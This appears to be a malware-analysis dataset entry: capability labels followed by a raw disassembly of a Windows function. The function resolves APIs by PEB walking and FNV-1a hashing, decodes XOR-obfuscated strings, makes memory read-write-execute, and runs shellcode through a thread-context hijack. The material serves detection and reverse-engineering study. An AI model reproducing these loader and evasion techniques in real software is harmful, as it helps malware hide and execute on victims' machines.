Function at 0x180045930
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get process filename
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x470]
sub rsp, 0x570
mov rax, qword [0x1800ea200]
xor rax, rsp
mov qword [rbp + 0x460], rax
mov byte [rsp + 0x70], 0x2e
mov r10b, 0x42
mov r14, r8
mov al, 0x40
xor al, 0x2e
movzx r8d, r10b
mov byte [rsp + 0x71], al
xor r10b, 0x2e
mov byte [rsp + 0x74], r10b
mov cl, 0x5a
xor cl, 0x2e
mov r9b, 0x4a
mov byte [rsp + 0x72], cl
xor r9b, 0x2e
mov byte [rsp + 0x73], r9b
mov r12, rdx
xor edx, edx
mov byte [rsp + 0x76], dl
xor r8b, 0x2e
mov byte [rsp + 0x75], r8b
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x180045a37
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x180045a37
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180045a32
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x180045a10
cmp r8d, 0xe463da3c
je 0x180045a3c
test r9d, r9d
jne 0x1800459f0
mov rax, qword [rax]
jmp 0x1800459c0
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, [rsp + 0x71]
add rax, r10
call rax
test rax, rax
jne 0x180045b5a
mov byte [rsp + 0x78], 0x6a
mov r8b, 6
mov al, 4
movzx r9d, r8b
xor al, 0x6a
xor r8b, 0x6a
mov byte [rsp + 0x79], al
xor r10d, r10d
mov byte [rsp + 0x7c], r8b
mov cl, 0x1e
mov byte [rsp + 0x7e], r10b
xor cl, 0x6a
mov byte [rsp + 0x7a], cl
mov dl, 0xe
xor dl, 0x6a
mov byte [rsp + 0x7b], dl
xor r9b, 0x6a
mov byte [rsp + 0x7d], r9b
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x180045b37
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x180045b37
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180045b32
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x180045b10
cmp r8d, 0x53b2070f
je 0x180045b3c
test r9d, r9d
jne 0x180045af0
mov rax, qword [rax]
jmp 0x180045ac0
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, [rsp + 0x79]
add rax, r10
call rax
xor r13d, r13d
xor ecx, ecx
mov r15d, r13d
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, qword gs:[0x60]
mov rsi, rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov ebx, dword [rdx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x180045bf7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x180045bf7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rax, [r10 + r9*4]
mov edx, dword [rax + rdi]
add rdx, r10
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x180045bf2
nop dword [rax]
movsx eax, al
lea rdx, [rdx + 1]
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x180045bd0
cmp r8d, 0x1bbf4029
je 0x180045bfc
test r9d, r9d
jne 0x180045bb0
mov rcx, qword [rcx]
jmp 0x180045b80
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov ecx, esi
add rax, r10
call rax
mov esi, r13d
nop word [rax + rax]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x180045cb7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x180045cb7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180045cb2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x180045c90
cmp r8d, 0xa19b8cd6
je 0x180045cbc
test r9d, r9d
jne 0x180045c70
mov rax, qword [rax]
jmp 0x180045c40
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
movzx eax, al
mov ecx, esi
shl eax, cl
cdqe
or r15, rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x180045d77
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x180045d77
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180045d72
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x180045d50
cmp r8d, 0xa19b8cd6
je 0x180045d7c
test r9d, r9d
jne 0x180045d30
mov rax, qword [rax]
jmp 0x180045d00
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
movzx eax, al
mov ecx, esi
shl eax, cl
cdqe
or r15, rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x180045e37
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x180045e37
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x180045e32
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x180045e10
cmp r8d, 0xa19b8cd6
je 0x180045e3c
test r9d, r9d
jne 0x180045df0
mov rax, qword [rax]
jmp 0x180045dc0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
movzx eax, al
mov ecx, esi
shl eax, cl
add esi, 8
cdqe
or rax, r15
mov r15, rax
mov rcx, rax
cmp esi, 0x20
jl 0x180045c20
cmp rax, 0x7fffffff
jbe 0x180045e92
add rax, 0xffffffff80000000
shr rax, 0xc
inc rax
imul r15, rax, 0xfffffffffffff000
add r15, rcx
xor r9d, r9d
mov edx, 0x3e8
mov rcx, r15
lea r8d, [r9 + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
movdqa xmm1, xmmword [0x18006cf50]
mov r10b, 0x49
movd ecx, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rsp + 0x58], xmm1
mov qword [rsp + 0x50], r13
mov r8b, 0x48
xor byte [rsp + 0x5a], cl
xor r8b, cl
xor byte [rsp + 0x5b], cl
xor r10b, cl
xor byte [rsp + 0x5c], cl
mov dl, 0x5f
xor byte [rsp + 0x5d], cl
xor dl, cl
xor byte [rsp + 0x5e], cl
mov r9b, 0x4c
xor byte [rsp + 0x5f], cl
xor r9b, cl
xor byte [rsp + 0x60], cl
xor byte [rsp + 0x61], cl
xor byte [rsp + 0x62], cl
xor byte [rsp + 0x63], cl
xor byte [rsp + 0x64], cl
xor byte [rsp + 0x65], cl
xor byte [rsp + 0x66], cl
xor byte [rsp + 0x67], cl
mov byte [rsp + 0x69], r8b
mov r8b, 0x40
mov byte [rsp + 0x68], dl
mov dl, 0x48
mov byte [rsp + 0x6a], r9b
xor dl, 0x2c
mov byte [rsp + 0x6b], r10b
movzx r9d, r8b
mov byte [rsp + 0x6c], r13b
xor r10d, r10d
mov byte [rbp - 0x80], 0x2c
xor r8b, 0x2c
mov byte [rbp - 0x7d], dl
mov byte [rbp - 0x7c], r8b
mov byte [rbp - 0x7a], r10b
psrldq xmm0, 1
movd eax, xmm0
xor al, cl
mov cl, 0x58
mov byte [rsp + 0x59], al
xor cl, 0x2c
mov byte [rbp - 0x7e], cl
mov al, 0x42
xor al, 0x2c
mov byte [rbp - 0x7f], al
xor r9b, 0x2c
mov byte [rbp - 0x7b], r9b
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x180046007
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x180046007
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180046002
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x180045fe0
cmp r8d, 0xe463da3c
je 0x18004600c
test r9d, r9d
jne 0x180045fc0
mov rax, qword [rax]
jmp 0x180045f90
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, [rbp - 0x7f]
add rax, r10
call rax
mov rcx, qword gs:[0x60]
mov rsi, rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800460b7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800460b7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1800460b2
nop
movsx eax, al
lea rdx, [rdx + 1]
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x180046090
cmp r8d, 0xf8f45725
je 0x1800460bc
test r9d, r9d
jne 0x180046070
mov rcx, qword [rcx]
jmp 0x180046040
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rdx, [rsp + 0x59]
add rax, r10
mov rcx, rsi
call rax
mov rcx, qword gs:[0x60]
mov rsi, rax
mov r14, qword [r14]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x180046177
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x180046177
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x180046172
nop
movsx eax, al
lea rdx, [rdx + 1]
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x180046150
cmp r8d, 0x6dd8a845
je 0x18004617c
test r9d, r9d
jne 0x180046130
mov rcx, qword [rcx]
jmp 0x180046100
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov qword [rsp + 0x48], r13
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x40], rcx
xor r9d, r9d
mov qword [rsp + 0x38], r14
mov r8b, 1
mov qword [rsp + 0x30], r15
xor edx, edx
mov qword [rsp + 0x28], r13
mov rcx, rax
mov qword [rsp + 0x20], r13
call rsi
mov dword [rbp - 0x40], 0x100003
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x180046257
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x180046257
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180046252
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x180046230
cmp r8d, 0x85cca27e
je 0x18004625c
test r9d, r9d
jne 0x180046210
mov rax, qword [rax]
jmp 0x1800461e0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rdx, [rbp - 0x70]
mov rcx, qword [rsp + 0x50]
add rax, r10
call rax
mov qword [rbp + 0x10], r12
mov dword [rbp - 0x40], 0x100003
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x180046317
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x180046317
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180046312
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800462f0
cmp r8d, 0x6ed04712
je 0x18004631c
test r9d, r9d
jne 0x1800462d0
mov rax, qword [rax]
jmp 0x1800462a0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rdx, [rbp - 0x70]
mov rcx, qword [rsp + 0x50]
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1800463c7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1800463c7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800463c2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800463a0
cmp r8d, 0xbb21e02e
je 0x1800463cc
test r9d, r9d
jne 0x180046380
mov rax, qword [rax]
jmp 0x180046350
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov rcx, qword [rsp + 0x50]
add rax, r10
call rax
mov rcx, qword [rbp + 0x460]
xor rcx, rsp
call fcn.180059b00
mov rbx, qword [rsp + 0x5b0]
add rsp, 0x570
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret